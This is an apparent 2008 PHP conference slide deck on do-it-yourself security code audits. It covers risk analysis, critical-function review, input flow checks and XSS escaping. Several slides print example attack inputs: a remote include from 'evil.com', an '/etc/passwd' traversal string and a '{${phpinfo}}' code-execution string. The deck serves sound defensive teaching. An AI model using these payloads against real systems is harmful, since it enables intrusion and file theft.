SlideShare una empresa de Scribd logo
1 de 53
Do-It-Yourself Audits
Dutch PHP Conference
Amsterdam 2008
The bald guy in the front
The bald guy in the front
 Johann-Peter Hartmann
 Full-time PHP Developer since 3.0.4
 loves LAMP the great people, it‘s fun.
 Security is just fun
 CTO and Founder of Mayflower GmbH
 CEO of SektionEins GmbH
Our Business Model


Mayflower GmbH   : Create insecure Software
Our Business Model


Mayflower GmbH      : Create insecure Software

SektionEins GmbH : Fix it
Our Business Model


Mayflower GmbH       : Create insecure Software

SektionEins GmbH : Fix it

= Get paid twice.
Agenda

State of Security for PHP
Risk Analysis
White Box Audits
Input flow analysis
Tools to help you
PHP and Security
33 %




                      67 %



                             Profit   Fun
Source: Breach 2007
3 %
                         3 % 1 %1 %
                        3 %
                      8 %

                                      42 %

              15 %
                                             Information theft
                                             Defacement
                                             Malware
                                             Unknown
                                             Fraud
                            23 %             Blackmail
                                             Link Spam
                                             Worms
Source: Breach 2007
                                             Phishing
                                             Information Warfare
2 %
              3 % 2 %
                 2 %         20 %
            3 %
           3 %
          3 %

        8 %

                                           SQL Injection
                                    17 %   Information Disclosure
        10 %                               Known Exploits
                                           XSS
                                           Missing Authentication
                   12 %                    Guessing of Logins/Sessions
                          15 %             OS Code Execution
                                           Wrong configurations
                                           Missing Anti-Automation
                                           Denial Of Service
                                           Redirect
Source: NSI 2006
                                           Wrong Session-Timeout
                                           CSRF
Risk Analysis
Why do it, anyway?

Best way: verify the whole application
Second best: audit the whole source code
Average: 2000 LOC/Day
More than one year for a 500.000 LOC application.
Marco just told me that he got a 3.000.000 LOC
application
Better not audit everything.
Check Data Flows for
STRIDE
Check every data exchange point for
Check Data Flows for
STRIDE
Check every data exchange point for
  Spoofing ( Fake Referer, Stolen Session Ids)
Check Data Flows for
STRIDE
Check every data exchange point for
  Spoofing ( Fake Referer, Stolen Session Ids)
  Tampering (XSS, CSRF)
Check Data Flows for
STRIDE
Check every data exchange point for
  Spoofing ( Fake Referer, Stolen Session Ids)
  Tampering (XSS, CSRF)
  Repudiation (identy theft, identy coverage)
Check Data Flows for
STRIDE
Check every data exchange point for
  Spoofing ( Fake Referer, Stolen Session Ids)
  Tampering (XSS, CSRF)
  Repudiation (identy theft, identy coverage)
  Information Disclosure (SQL-Injections, XSS, ...)
Check Data Flows for
STRIDE
Check every data exchange point for
  Spoofing ( Fake Referer, Stolen Session Ids)
  Tampering (XSS, CSRF)
  Repudiation (identy theft, identy coverage)
  Information Disclosure (SQL-Injections, XSS, ...)
  Denial of service (Logout after 3 failed logins)
Check Data Flows for
STRIDE
Check every data exchange point for
  Spoofing ( Fake Referer, Stolen Session Ids)
  Tampering (XSS, CSRF)
  Repudiation (identy theft, identy coverage)
  Information Disclosure (SQL-Injections, XSS, ...)
  Denial of service (Logout after 3 failed logins)
  Elevation of Privileges (Code executions ...)
How to Analyze Risks
How to Analyze Risks




  External Entities: Spoofing, Repudiation
How to Analyze Risks




   Processes: Spoofing, Tampering, Repudiation,
Information Disclosure, DoS, Elevation of Privileges
How to Analyze Risks




Database: Tampering, Information Disclosure, DoS
How to Analyze Risks




Data flow: Tampering, Information Disclosure, DoS
How to Analyze Risks
Now what‘s the absolute
risk?
Check out the DREAD for every risk:
  Damage Potential
  Reproducability
  Exploitablitity
  Affected Users
  Discoverability
Where start auditing?
Where start auditing?


risk = chance of attack * damage potential
Where start auditing?


risk = chance of attack * damage potential


High risk example: SQL-Injection in a Login Form
Tools needed for manual
Source Code Audits
Some people say: you just need „grep“
A decent Code Browser with
  syntax highlightening
  good code navigation
Dynamic Code Analysis: Debugger with
  Step Thru
  Variable Introspection, Conditional Breakpoints
Critical Function Analysis

 Some functions are more dangerous than other
 methods.
 Every exploit class got its own set of functions
 think of: SQL Injections, Code Executions
 So just search for every critical function and check if
 the parameters are escaped correctly
SQL Injections
Functions: mysql_query, mysqli_query, pdo::query, ...
Your own database abstraction layer
What to check
  Are the parameters correctly escaped?
  Even numbers, sort orders and directions?
  Table and Column names?
look out for proper escaping of values, column names
and sort orders etc
Code Executions
Functions:
  eval(), create_function(), preg_replace with modifier e,
  usort, uasort, *_callback functions
Written and included code:
  Templates in Smarty
  Cache data
Look out for: (external) variables in php-code
Strings can contain code executions! “{${phpinfo}}“
Code Inclusions

Functions
(include|require)[_once]
Local: include “/var/log/http/access.log“ with my referer
Remote: include “http://evil.com/hack.gif“
Other: “ftp://..“, “php://input...“, “data://...“
allow_url_fopen does not protect against data and php!
Shell Executions

 Functions:
 shell_exec (BackTicks!), exec(), system(), popen(),
 passthru()
 mail()!
 binary name and arguments need to be escaped
 Check for existance of escape_shell_cmd and
 escape_shell_args
Information leakage
 Functions: fopen(), fread(), file(), ...
 Vulnerabilities:
   read local files containing database passwords
   read intranet URLs
   read local server configuration files
 Check for injection of „/../../etc/passwd%00“
Input Flow Analysis

 Check the way that variables take inside the application
 Faster than a critical function analysis
 PHP accepts every external variable by default
 The variables are from an untrusted environment
 As soon PHP got a taint mode, PHP does help you a
 lot
Input Flow Analysis

 $_GET, $_POST, $_COOKIE
 some $_SERVER variables! Don‘t trust $HTTP_HOST.
 register_globals makes it hard to follow
 Check if external variables or results of them are used
 in critical functions
XSS: Output Escaping
check
Check for every place where data is delivered to the
user
There are 5 different versions of escaping for XSS
XSS: Output Escaping
check
Check for every place where data is delivered to the
user
There are 5 different versions of escaping for XSS
  Text: htmlentities()
XSS: Output Escaping
check
Check for every place where data is delivered to the
user
There are 5 different versions of escaping for XSS
  Text: htmlentities()
  Attributes: htmlspecialchars()
XSS: Output Escaping
check
Check for every place where data is delivered to the
user
There are 5 different versions of escaping for XSS
  Text: htmlentities()
  Attributes: htmlspecialchars()
  URLs: urlencode()
XSS: Output Escaping
check
Check for every place where data is delivered to the
user
There are 5 different versions of escaping for XSS
  Text: htmlentities()
  Attributes: htmlspecialchars()
  URLs: urlencode()
  JavaScript- and Stylesheet-Strings: addcslashes()
XSS: Output Escaping
check
Check for every place where data is delivered to the
user
There are 5 different versions of escaping for XSS
  Text: htmlentities()
  Attributes: htmlspecialchars()
  URLs: urlencode()
  JavaScript- and Stylesheet-Strings: addcslashes()
  HTML: Whitelist-Filters like htmlpurifier
Tools for Static Analysis
  RATS: http://www.fortifysoftware.com/security-
  resources/rats.jsp
    finds simple bugs like TOCTOU
  PHP-SAT http://www.program-transformation.org/
  PHP/PhpSat
    got a freely definable set of rules for security
    checks
  Armorize CodeSecure http://www.armorize.com/
  HyperSource, Fortify
Other tools
 XSSS for automated XSS search
 http://www.sven.de/XSSS
 A lot of other web security scanners
   SPIDynamics WebInspect
   NStalker
   Chorizo does PHP gray box scanning
   .. a lot more
Summary

Even if you have time to do a full code review use risk
analysis to focus
Code review:
Use critical function analysis and output check or input
flow analysis
Tools can help you, but they don‘t do your job
Questions?
Questions?




             Contact me at:
  johann-peter.hartmann@sektioneins.de

Más contenido relacionado

La actualidad más candente

Web security presentation
Web security presentationWeb security presentation
Web security presentationJohn Staveley
 
Implementing a comprehensive application security progaram - Tawfiq
Implementing a comprehensive application security progaram - Tawfiq Implementing a comprehensive application security progaram - Tawfiq
Implementing a comprehensive application security progaram - Tawfiq OWASP-Qatar Chapter
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeJeremiah Grossman
 
Phishing attack, with SSL Encryption and HTTPS Working
Phishing attack, with SSL Encryption and HTTPS WorkingPhishing attack, with SSL Encryption and HTTPS Working
Phishing attack, with SSL Encryption and HTTPS WorkingSachin Saini
 
Strategies to handle Phishing attacks
Strategies to handle Phishing attacksStrategies to handle Phishing attacks
Strategies to handle Phishing attacksSreejith.D. Menon
 
phishing and pharming - evil twins
phishing and pharming - evil twinsphishing and pharming - evil twins
phishing and pharming - evil twinsNilantha Piyasiri
 
Safeguarding PeopleSoft Against Direct Deposit Theft
Safeguarding PeopleSoft Against Direct Deposit TheftSafeguarding PeopleSoft Against Direct Deposit Theft
Safeguarding PeopleSoft Against Direct Deposit TheftAppsian
 
Anatomy of a Spear Phishing Attack
Anatomy of a Spear Phishing AttackAnatomy of a Spear Phishing Attack
Anatomy of a Spear Phishing AttackMark Mair
 
PHISHING PROJECT REPORT
PHISHING PROJECT REPORTPHISHING PROJECT REPORT
PHISHING PROJECT REPORTvineetkathan
 
Malicious Url Detection Using Machine Learning
Malicious Url Detection Using Machine LearningMalicious Url Detection Using Machine Learning
Malicious Url Detection Using Machine Learningsecurityxploded
 
A8 cross site request forgery (csrf) it 6873 presentation
A8 cross site request forgery (csrf)   it 6873 presentationA8 cross site request forgery (csrf)   it 6873 presentation
A8 cross site request forgery (csrf) it 6873 presentationAlbena Asenova-Belal
 
IRJET - Secure Banking Application with Image and GPS Location
IRJET - Secure Banking Application with Image and GPS LocationIRJET - Secure Banking Application with Image and GPS Location
IRJET - Secure Banking Application with Image and GPS LocationIRJET Journal
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Irfad Imtiaz
 
Phishing exposed
Phishing exposedPhishing exposed
Phishing exposedtamfin
 
Cross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesCross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesMarco Morana
 
The Difference between Pharming and Phishing
The Difference between Pharming and PhishingThe Difference between Pharming and Phishing
The Difference between Pharming and PhishingMason Bird
 

La actualidad más candente (20)

Web security presentation
Web security presentationWeb security presentation
Web security presentation
 
Implementing a comprehensive application security progaram - Tawfiq
Implementing a comprehensive application security progaram - Tawfiq Implementing a comprehensive application security progaram - Tawfiq
Implementing a comprehensive application security progaram - Tawfiq
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
Phishing attack, with SSL Encryption and HTTPS Working
Phishing attack, with SSL Encryption and HTTPS WorkingPhishing attack, with SSL Encryption and HTTPS Working
Phishing attack, with SSL Encryption and HTTPS Working
 
Strategies to handle Phishing attacks
Strategies to handle Phishing attacksStrategies to handle Phishing attacks
Strategies to handle Phishing attacks
 
phishing and pharming - evil twins
phishing and pharming - evil twinsphishing and pharming - evil twins
phishing and pharming - evil twins
 
Safeguarding PeopleSoft Against Direct Deposit Theft
Safeguarding PeopleSoft Against Direct Deposit TheftSafeguarding PeopleSoft Against Direct Deposit Theft
Safeguarding PeopleSoft Against Direct Deposit Theft
 
Phishing attack till now
Phishing attack till nowPhishing attack till now
Phishing attack till now
 
Anatomy of a Spear Phishing Attack
Anatomy of a Spear Phishing AttackAnatomy of a Spear Phishing Attack
Anatomy of a Spear Phishing Attack
 
PHISHING PROJECT REPORT
PHISHING PROJECT REPORTPHISHING PROJECT REPORT
PHISHING PROJECT REPORT
 
Malicious Url Detection Using Machine Learning
Malicious Url Detection Using Machine LearningMalicious Url Detection Using Machine Learning
Malicious Url Detection Using Machine Learning
 
A8 cross site request forgery (csrf) it 6873 presentation
A8 cross site request forgery (csrf)   it 6873 presentationA8 cross site request forgery (csrf)   it 6873 presentation
A8 cross site request forgery (csrf) it 6873 presentation
 
IRJET - Secure Banking Application with Image and GPS Location
IRJET - Secure Banking Application with Image and GPS LocationIRJET - Secure Banking Application with Image and GPS Location
IRJET - Secure Banking Application with Image and GPS Location
 
Security 101
Security 101Security 101
Security 101
 
Phishing
PhishingPhishing
Phishing
 
Anti phishing
Anti phishingAnti phishing
Anti phishing
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 
Phishing exposed
Phishing exposedPhishing exposed
Phishing exposed
 
Cross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesCross Site Request Forgery Vulnerabilities
Cross Site Request Forgery Vulnerabilities
 
The Difference between Pharming and Phishing
The Difference between Pharming and PhishingThe Difference between Pharming and Phishing
The Difference between Pharming and Phishing
 

Similar a Do it-yourself-audits

Open Source Security
Open Source SecurityOpen Source Security
Open Source SecuritySander Temme
 
Mitigating Malware Presentation Jkd 11 10 08 Aitp
Mitigating Malware Presentation Jkd 11 10 08 AitpMitigating Malware Presentation Jkd 11 10 08 Aitp
Mitigating Malware Presentation Jkd 11 10 08 AitpJoann Davis
 
Hardening Enterprise Apache
Hardening Enterprise ApacheHardening Enterprise Apache
Hardening Enterprise Apacheguestd9aa5
 
Ceh certified ethical hacker
Ceh   certified ethical hackerCeh   certified ethical hacker
Ceh certified ethical hackerbestip
 
Renaud Bido & Mohammad Shams - Hijacking web servers & clients
Renaud Bido & Mohammad Shams - Hijacking web servers & clientsRenaud Bido & Mohammad Shams - Hijacking web servers & clients
Renaud Bido & Mohammad Shams - Hijacking web servers & clientsnooralmousa
 
20101017 program analysis_for_security_livshits_lecture03_security
20101017 program analysis_for_security_livshits_lecture03_security20101017 program analysis_for_security_livshits_lecture03_security
20101017 program analysis_for_security_livshits_lecture03_securityComputer Science Club
 
Web attacks using obfuscated script
Web attacks using  obfuscated scriptWeb attacks using  obfuscated script
Web attacks using obfuscated scriptAmol Kamble
 
Application Security Architecture and Threat Modelling
Application Security Architecture and Threat ModellingApplication Security Architecture and Threat Modelling
Application Security Architecture and Threat ModellingPriyanka Aash
 
Scaling Web 2.0 Malware Infection
Scaling Web 2.0 Malware InfectionScaling Web 2.0 Malware Infection
Scaling Web 2.0 Malware InfectionWayne Huang
 
TRISC 2010 - Grapevine , Texas
TRISC 2010 - Grapevine , TexasTRISC 2010 - Grapevine , Texas
TRISC 2010 - Grapevine , TexasAditya K Sood
 
PowerPoint Presentation On Ethical Hacking in Brief (Simple)
PowerPoint Presentation On Ethical Hacking in Brief (Simple)PowerPoint Presentation On Ethical Hacking in Brief (Simple)
PowerPoint Presentation On Ethical Hacking in Brief (Simple)Shivam Sahu
 
Understanding Application Threat Modelling & Architecture
 Understanding Application Threat Modelling & Architecture Understanding Application Threat Modelling & Architecture
Understanding Application Threat Modelling & ArchitecturePriyanka Aash
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionDaniel Owens
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing BasicsRick Wanner
 
DC612 Day - Web Application Security: OWASP Top 10
DC612 Day - Web Application Security: OWASP Top 10DC612 Day - Web Application Security: OWASP Top 10
DC612 Day - Web Application Security: OWASP Top 10dc612
 
We cant hack ourselves secure
We cant hack ourselves secureWe cant hack ourselves secure
We cant hack ourselves secureEoin Keary
 
What's new in​ CEHv11?
What's new in​  CEHv11?What's new in​  CEHv11?
What's new in​ CEHv11?EC-Council
 
GDG Dev Fest 2014 Cyber Security & Bangladesh (Raffiqunnabi Rumman )
GDG Dev Fest 2014 Cyber Security & Bangladesh (Raffiqunnabi Rumman )GDG Dev Fest 2014 Cyber Security & Bangladesh (Raffiqunnabi Rumman )
GDG Dev Fest 2014 Cyber Security & Bangladesh (Raffiqunnabi Rumman )Md Raffiqunnabi Rumman
 
The State of Credential Stuffing and the Future of Account Takeovers.
The State of Credential Stuffing and the Future of Account Takeovers.The State of Credential Stuffing and the Future of Account Takeovers.
The State of Credential Stuffing and the Future of Account Takeovers.Jarrod Overson
 
Secure input and output handling - Mage Titans Manchester 2016
Secure input and output handling - Mage Titans Manchester 2016Secure input and output handling - Mage Titans Manchester 2016
Secure input and output handling - Mage Titans Manchester 2016Anna Völkl
 

Similar a Do it-yourself-audits (20)

Open Source Security
Open Source SecurityOpen Source Security
Open Source Security
 
Mitigating Malware Presentation Jkd 11 10 08 Aitp
Mitigating Malware Presentation Jkd 11 10 08 AitpMitigating Malware Presentation Jkd 11 10 08 Aitp
Mitigating Malware Presentation Jkd 11 10 08 Aitp
 
Hardening Enterprise Apache
Hardening Enterprise ApacheHardening Enterprise Apache
Hardening Enterprise Apache
 
Ceh certified ethical hacker
Ceh   certified ethical hackerCeh   certified ethical hacker
Ceh certified ethical hacker
 
Renaud Bido & Mohammad Shams - Hijacking web servers & clients
Renaud Bido & Mohammad Shams - Hijacking web servers & clientsRenaud Bido & Mohammad Shams - Hijacking web servers & clients
Renaud Bido & Mohammad Shams - Hijacking web servers & clients
 
20101017 program analysis_for_security_livshits_lecture03_security
20101017 program analysis_for_security_livshits_lecture03_security20101017 program analysis_for_security_livshits_lecture03_security
20101017 program analysis_for_security_livshits_lecture03_security
 
Web attacks using obfuscated script
Web attacks using  obfuscated scriptWeb attacks using  obfuscated script
Web attacks using obfuscated script
 
Application Security Architecture and Threat Modelling
Application Security Architecture and Threat ModellingApplication Security Architecture and Threat Modelling
Application Security Architecture and Threat Modelling
 
Scaling Web 2.0 Malware Infection
Scaling Web 2.0 Malware InfectionScaling Web 2.0 Malware Infection
Scaling Web 2.0 Malware Infection
 
TRISC 2010 - Grapevine , Texas
TRISC 2010 - Grapevine , TexasTRISC 2010 - Grapevine , Texas
TRISC 2010 - Grapevine , Texas
 
PowerPoint Presentation On Ethical Hacking in Brief (Simple)
PowerPoint Presentation On Ethical Hacking in Brief (Simple)PowerPoint Presentation On Ethical Hacking in Brief (Simple)
PowerPoint Presentation On Ethical Hacking in Brief (Simple)
 
Understanding Application Threat Modelling & Architecture
 Understanding Application Threat Modelling & Architecture Understanding Application Threat Modelling & Architecture
Understanding Application Threat Modelling & Architecture
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
 
DC612 Day - Web Application Security: OWASP Top 10
DC612 Day - Web Application Security: OWASP Top 10DC612 Day - Web Application Security: OWASP Top 10
DC612 Day - Web Application Security: OWASP Top 10
 
We cant hack ourselves secure
We cant hack ourselves secureWe cant hack ourselves secure
We cant hack ourselves secure
 
What's new in​ CEHv11?
What's new in​  CEHv11?What's new in​  CEHv11?
What's new in​ CEHv11?
 
GDG Dev Fest 2014 Cyber Security & Bangladesh (Raffiqunnabi Rumman )
GDG Dev Fest 2014 Cyber Security & Bangladesh (Raffiqunnabi Rumman )GDG Dev Fest 2014 Cyber Security & Bangladesh (Raffiqunnabi Rumman )
GDG Dev Fest 2014 Cyber Security & Bangladesh (Raffiqunnabi Rumman )
 
The State of Credential Stuffing and the Future of Account Takeovers.
The State of Credential Stuffing and the Future of Account Takeovers.The State of Credential Stuffing and the Future of Account Takeovers.
The State of Credential Stuffing and the Future of Account Takeovers.
 
Secure input and output handling - Mage Titans Manchester 2016
Secure input and output handling - Mage Titans Manchester 2016Secure input and output handling - Mage Titans Manchester 2016
Secure input and output handling - Mage Titans Manchester 2016
 

Más de Johann-Peter Hartmann

E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018Johann-Peter Hartmann
 
Warum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtWarum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtJohann-Peter Hartmann
 
Legacy php - Sanieren oder Ablösen?
Legacy php  - Sanieren oder Ablösen?Legacy php  - Sanieren oder Ablösen?
Legacy php - Sanieren oder Ablösen?Johann-Peter Hartmann
 
RoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaRoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaJohann-Peter Hartmann
 
Von Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenVon Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenJohann-Peter Hartmann
 
Lügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeLügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeJohann-Peter Hartmann
 
How not to screw the operating system of your startup
How not to screw the operating system of your startupHow not to screw the operating system of your startup
How not to screw the operating system of your startupJohann-Peter Hartmann
 
Einfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesEinfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesJohann-Peter Hartmann
 

Más de Johann-Peter Hartmann (20)

The End of my Career
The End of my CareerThe End of my Career
The End of my Career
 
E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018
 
DevOps beyond the Tools
DevOps beyond the ToolsDevOps beyond the Tools
DevOps beyond the Tools
 
Warum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommtWarum die it nicht um new work herumkommt
Warum die it nicht um new work herumkommt
 
Legacy php - Sanieren oder Ablösen?
Legacy php  - Sanieren oder Ablösen?Legacy php  - Sanieren oder Ablösen?
Legacy php - Sanieren oder Ablösen?
 
RoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaRoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für China
 
Die Architektur, die man kann
Die Architektur, die man kannDie Architektur, die man kann
Die Architektur, die man kann
 
NewWork in der Praxis
NewWork in der PraxisNewWork in der Praxis
NewWork in der Praxis
 
Von Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und SystemadministratorenVon Kutschern, Managern und Systemadministratoren
Von Kutschern, Managern und Systemadministratoren
 
Das Ende der Karriere
Das Ende der KarriereDas Ende der Karriere
Das Ende der Karriere
 
DevOps jenseits der Tools
DevOps jenseits der ToolsDevOps jenseits der Tools
DevOps jenseits der Tools
 
Reparier Deine Unternehmenskultur!
Reparier Deine Unternehmenskultur!Reparier Deine Unternehmenskultur!
Reparier Deine Unternehmenskultur!
 
Lügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-VerträgeLügen, schlimme Lügen und IT-Verträge
Lügen, schlimme Lügen und IT-Verträge
 
How not to screw the operating system of your startup
How not to screw the operating system of your startupHow not to screw the operating system of your startup
How not to screw the operating system of your startup
 
Einfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektesEinfangen eines technisch kaputten projektes
Einfangen eines technisch kaputten projektes
 
Agile versus Management WJAX 2014
Agile versus Management WJAX 2014Agile versus Management WJAX 2014
Agile versus Management WJAX 2014
 
Leadership in der IT
Leadership in der ITLeadership in der IT
Leadership in der IT
 
Vom Entwickler zur Führungskraft
Vom Entwickler zur FührungskraftVom Entwickler zur Führungskraft
Vom Entwickler zur Führungskraft
 
Erfolgreiche rewrites
Erfolgreiche rewritesErfolgreiche rewrites
Erfolgreiche rewrites
 
Surviving Complexity
Surviving ComplexitySurviving Complexity
Surviving Complexity
 

Do it-yourself-audits

  • 1. Do-It-Yourself Audits Dutch PHP Conference Amsterdam 2008
  • 2. The bald guy in the front
  • 3. The bald guy in the front Johann-Peter Hartmann Full-time PHP Developer since 3.0.4 loves LAMP the great people, it‘s fun. Security is just fun CTO and Founder of Mayflower GmbH CEO of SektionEins GmbH
  • 4. Our Business Model Mayflower GmbH : Create insecure Software
  • 5. Our Business Model Mayflower GmbH : Create insecure Software SektionEins GmbH : Fix it
  • 6. Our Business Model Mayflower GmbH : Create insecure Software SektionEins GmbH : Fix it = Get paid twice.
  • 7. Agenda State of Security for PHP Risk Analysis White Box Audits Input flow analysis Tools to help you
  • 9.
  • 10. 33 % 67 % Profit Fun Source: Breach 2007
  • 11. 3 % 3 % 1 %1 % 3 % 8 % 42 % 15 % Information theft Defacement Malware Unknown Fraud 23 % Blackmail Link Spam Worms Source: Breach 2007 Phishing Information Warfare
  • 12. 2 % 3 % 2 % 2 % 20 % 3 % 3 % 3 % 8 % SQL Injection 17 % Information Disclosure 10 % Known Exploits XSS Missing Authentication 12 % Guessing of Logins/Sessions 15 % OS Code Execution Wrong configurations Missing Anti-Automation Denial Of Service Redirect Source: NSI 2006 Wrong Session-Timeout CSRF
  • 14. Why do it, anyway? Best way: verify the whole application Second best: audit the whole source code Average: 2000 LOC/Day More than one year for a 500.000 LOC application. Marco just told me that he got a 3.000.000 LOC application
  • 15. Better not audit everything.
  • 16. Check Data Flows for STRIDE Check every data exchange point for
  • 17. Check Data Flows for STRIDE Check every data exchange point for Spoofing ( Fake Referer, Stolen Session Ids)
  • 18. Check Data Flows for STRIDE Check every data exchange point for Spoofing ( Fake Referer, Stolen Session Ids) Tampering (XSS, CSRF)
  • 19. Check Data Flows for STRIDE Check every data exchange point for Spoofing ( Fake Referer, Stolen Session Ids) Tampering (XSS, CSRF) Repudiation (identy theft, identy coverage)
  • 20. Check Data Flows for STRIDE Check every data exchange point for Spoofing ( Fake Referer, Stolen Session Ids) Tampering (XSS, CSRF) Repudiation (identy theft, identy coverage) Information Disclosure (SQL-Injections, XSS, ...)
  • 21. Check Data Flows for STRIDE Check every data exchange point for Spoofing ( Fake Referer, Stolen Session Ids) Tampering (XSS, CSRF) Repudiation (identy theft, identy coverage) Information Disclosure (SQL-Injections, XSS, ...) Denial of service (Logout after 3 failed logins)
  • 22. Check Data Flows for STRIDE Check every data exchange point for Spoofing ( Fake Referer, Stolen Session Ids) Tampering (XSS, CSRF) Repudiation (identy theft, identy coverage) Information Disclosure (SQL-Injections, XSS, ...) Denial of service (Logout after 3 failed logins) Elevation of Privileges (Code executions ...)
  • 23. How to Analyze Risks
  • 24. How to Analyze Risks External Entities: Spoofing, Repudiation
  • 25. How to Analyze Risks Processes: Spoofing, Tampering, Repudiation, Information Disclosure, DoS, Elevation of Privileges
  • 26. How to Analyze Risks Database: Tampering, Information Disclosure, DoS
  • 27. How to Analyze Risks Data flow: Tampering, Information Disclosure, DoS
  • 28. How to Analyze Risks
  • 29. Now what‘s the absolute risk? Check out the DREAD for every risk: Damage Potential Reproducability Exploitablitity Affected Users Discoverability
  • 31. Where start auditing? risk = chance of attack * damage potential
  • 32. Where start auditing? risk = chance of attack * damage potential High risk example: SQL-Injection in a Login Form
  • 33.
  • 34. Tools needed for manual Source Code Audits Some people say: you just need „grep“ A decent Code Browser with syntax highlightening good code navigation Dynamic Code Analysis: Debugger with Step Thru Variable Introspection, Conditional Breakpoints
  • 35. Critical Function Analysis Some functions are more dangerous than other methods. Every exploit class got its own set of functions think of: SQL Injections, Code Executions So just search for every critical function and check if the parameters are escaped correctly
  • 36. SQL Injections Functions: mysql_query, mysqli_query, pdo::query, ... Your own database abstraction layer What to check Are the parameters correctly escaped? Even numbers, sort orders and directions? Table and Column names? look out for proper escaping of values, column names and sort orders etc
  • 37. Code Executions Functions: eval(), create_function(), preg_replace with modifier e, usort, uasort, *_callback functions Written and included code: Templates in Smarty Cache data Look out for: (external) variables in php-code Strings can contain code executions! “{${phpinfo}}“
  • 38. Code Inclusions Functions (include|require)[_once] Local: include “/var/log/http/access.log“ with my referer Remote: include “http://evil.com/hack.gif“ Other: “ftp://..“, “php://input...“, “data://...“ allow_url_fopen does not protect against data and php!
  • 39. Shell Executions Functions: shell_exec (BackTicks!), exec(), system(), popen(), passthru() mail()! binary name and arguments need to be escaped Check for existance of escape_shell_cmd and escape_shell_args
  • 40. Information leakage Functions: fopen(), fread(), file(), ... Vulnerabilities: read local files containing database passwords read intranet URLs read local server configuration files Check for injection of „/../../etc/passwd%00“
  • 41. Input Flow Analysis Check the way that variables take inside the application Faster than a critical function analysis PHP accepts every external variable by default The variables are from an untrusted environment As soon PHP got a taint mode, PHP does help you a lot
  • 42. Input Flow Analysis $_GET, $_POST, $_COOKIE some $_SERVER variables! Don‘t trust $HTTP_HOST. register_globals makes it hard to follow Check if external variables or results of them are used in critical functions
  • 43. XSS: Output Escaping check Check for every place where data is delivered to the user There are 5 different versions of escaping for XSS
  • 44. XSS: Output Escaping check Check for every place where data is delivered to the user There are 5 different versions of escaping for XSS Text: htmlentities()
  • 45. XSS: Output Escaping check Check for every place where data is delivered to the user There are 5 different versions of escaping for XSS Text: htmlentities() Attributes: htmlspecialchars()
  • 46. XSS: Output Escaping check Check for every place where data is delivered to the user There are 5 different versions of escaping for XSS Text: htmlentities() Attributes: htmlspecialchars() URLs: urlencode()
  • 47. XSS: Output Escaping check Check for every place where data is delivered to the user There are 5 different versions of escaping for XSS Text: htmlentities() Attributes: htmlspecialchars() URLs: urlencode() JavaScript- and Stylesheet-Strings: addcslashes()
  • 48. XSS: Output Escaping check Check for every place where data is delivered to the user There are 5 different versions of escaping for XSS Text: htmlentities() Attributes: htmlspecialchars() URLs: urlencode() JavaScript- and Stylesheet-Strings: addcslashes() HTML: Whitelist-Filters like htmlpurifier
  • 49. Tools for Static Analysis RATS: http://www.fortifysoftware.com/security- resources/rats.jsp finds simple bugs like TOCTOU PHP-SAT http://www.program-transformation.org/ PHP/PhpSat got a freely definable set of rules for security checks Armorize CodeSecure http://www.armorize.com/ HyperSource, Fortify
  • 50. Other tools XSSS for automated XSS search http://www.sven.de/XSSS A lot of other web security scanners SPIDynamics WebInspect NStalker Chorizo does PHP gray box scanning .. a lot more
  • 51. Summary Even if you have time to do a full code review use risk analysis to focus Code review: Use critical function analysis and output check or input flow analysis Tools can help you, but they don‘t do your job
  • 53. Questions? Contact me at: johann-peter.hartmann@sektioneins.de

Notas del editor

  1. \n
  2. Formally i am the boss of stefan esser. I am not sure if he knows it, though. \n\n
  3. \n
  4. \n
  5. \n
  6. \n
  7. \n
  8. A database is 40.000 Bugs. Any database.\n
  9. Message: The number one target is information theft. \n
  10. Don‘t care about XSS, care about SQL injection first. \n
